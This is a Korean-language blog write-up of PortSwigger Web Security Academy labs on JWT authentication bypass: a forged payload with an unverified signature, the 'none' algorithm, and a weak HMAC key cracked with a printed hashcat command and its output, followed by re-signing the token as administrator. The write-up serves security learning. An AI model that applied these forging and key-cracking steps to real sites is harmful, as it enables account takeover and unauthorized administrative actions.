본 글은 보안 학습 및 연구 목적으로 작성되었으며, 허가되지 않은 시스템에 대한 공격 또는 테스트는 관련 법령에 따라 처벌될 수 있습니다. 학습 목적으로 작성된 본 글의 내용을 이용하여 위법 행위를 할 경우, 그로 인해 발생하는 모든 책임은 해당 행위를 수행한 당사자에게 있으며, 본 글의 작성자는 이에 대해 책임을 지지 않습니다.
해당 글은 PortSwigger Web Security Academy 실습 내용을 정리한것입니다.
JWT attacks
JWT는 header + payload + signature로 구성된다. signature는 hash(header, padyload, secret)이다. 자세하게, JWT는 JWS와 JWE로 구현되는데, 일반적으로 JWT라고 하면 JWS를 의미한다. JWT보안은 암호학적 서명(signature)에 매우 의존한다. 서명에 사용되는 비밀 키 secret을 사용해서 signature를 생성한다. 그렇기 때문에 해당 비키를 노출 하면 메커니즘을 깰 수 있다.
Lab: JWT authentication bypass via unverified signature

해당 웹 사이트는 JWT token 중 3번째 파트인 signature를 검증하지 않아 2번째 파트를 조작만해서 administrator 권한을 획득할 수 있다. 처음에는 wiener 계정으로 로그인하고, /admin 페이지에 접속하면 administrator 권한이 필요하다고 한다. JWT token 중 sub에 해당 하는 값을 wiener에서 adminstrator로 바꾼 뒤 token을 다시 생성한다. 이때 생성된 token이 사실 상 유효한 token은 아니고, 1 part와 2 part만 유효한 토큰이다. burpsuite community 버전임에도 불구하고 온라인 도구 없이 해당 문제는 풀 수 있다.
Lab: JWT authentication bypass via flawed signature verification

해당 문제는 algorithm이 none일때 우회되는 취약점이다. unverified signature 문제와 다른 점은 algorithm을 none으로 바꾸고, signature 부분을 지운것 밖에 없다. 이전 문제와 마찬가지로 처음에는 wiener 계정으로 로그인하고, /admin 페이지에 접속하면 administrator 권한이 필요하다고 한다. JWT token 중 sub에 해당 하는 값을 wiener에서 adminstrator로 바꾸어 쿠키로 생성하면 계정을 지울 수 있는 권한이 생긴다.
Lab: JWT authentication bypass via weak signing key
이전에 언급했듯이, JWT는 secret키를 사용한다. 개발자들은 예제 코드를 복사 붙여넣기를 많이 하기때문에, 키에 대한 관리가 제대로 되지 않을 수 있다. 혹은 비밀번호가 너무 약할 수 있다. 그렇기 때문에 BruteForce attack으로 secret을 얻을 수 있는 경우도 있다. 이번 문제도 /admin page에 접속하여 권한을 얻는 것이 목적인것은 동일하지만, 앞의 방법으로는 해결되지 않는다.
그래서 JWT token을 가져와서 hashcat으로 secret key를 추출해 낸뒤, 그 키를 통해 다시 서명하면 valid token을 만들 수 있다. hashcat은 내가 original token T (i.e., header.payload.signature)와 password list P를 주면, password list P중 임의의 K를 골라 signature' = ( header, payload, K) 을 계산할것이고, signature'와 T의 세번째 부분인 signature와 일치하는지 볼것이다. 만약 같으면 K가 secret이된다.
┌──(zeroone㉿LAPTOP)-[~]
└─$ hashcat -a 0 -m 16500 eyJraWQiOiIzOGE1M2QyYi1iNDJkLTRkNjAtYjVhMi01NzE0NjBhMjUwZGUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MTUxNDYxMywic3ViIjoid2llbmVyIn0.H8iwbPo6etIZVPjybnrI8KGlYRl0cDwuBgyCHitOe4c ./jwt.secrets.list
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-skylake-avx512-11th Gen Intel(R) Core(TM) i7-1165G7 @ 2.80GHz, 2866/5732 MB (1024 MB allocatable), 8MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 514 MB (6912 MB free)
Dictionary cache built:
* Filename..: ./jwt.secrets.list
* Passwords.: 103979
* Bytes.....: 1231757
* Keyspace..: 103965
* Runtime...: 0 secs
eyJraWQiOiIzOGE1M2QyYi1iNDJkLTRkNjAtYjVhMi01NzE0NjBhMjUwZGUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MTUxNDYxMywic3ViIjoid2llbmVyIn0.H8iwbPo6etIZVPjybnrI8KGlYRl0cDwuBgyCHitOe4c:secret1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJraWQiOiIzOGE1M2QyYi1iNDJkLTRkNjAtYjVhMi01NzE0NjB...itOe4c
Time.Started.....: Thu Feb 19 23:29:16 2026 (0 secs)
Time.Estimated...: Thu Feb 19 23:29:16 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (./jwt.secrets.list)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 103.1 kH/s (2.54ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 8192/103965 (7.88%)
Rejected.........: 0/8192 (0.00%)
Restore.Point....: 0/103965 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: -> vip
Hardware.Mon.#01.: Util: 15%
Started: Thu Feb 19 23:29:15 2026
Stopped: Thu Feb 19 23:29:18 2026
위 커맨드는 실제로 JWT의 secret이 secret1임을 확인한 것이다.

JWT 토큰의 algorithm이 HS256(i.e., HMAC + SHA256)이기 때문에 symmetric key를 생성한다.

이전 문제와 동일하게 sub의 value를 administrator로 바꾸고 등록한 키로 서명한다. 그리고 새롭게 생성된 해당 token을 cookie로 설정하면 특정 사용자를 삭제할 수 있다.
이외에도 재밌는 방법들이 많다..
References
https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature
https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key
'Security Engineering > Web, Mobile Security' 카테고리의 다른 글
| [PortSwigger] XML external entity Injection (0) | 2026.03.20 |
|---|---|
| [PortSwigger] Cross-site scripting (0) | 2026.02.27 |
| [PortSwigger] Web cache poisoning (0) | 2026.02.20 |
| [PortSwigger] Server-Side Template Injection (0) | 2026.02.13 |
| [BSCP] Burp Suite Certified Practitioner | Practitioner Lab (1) | 2026.02.03 |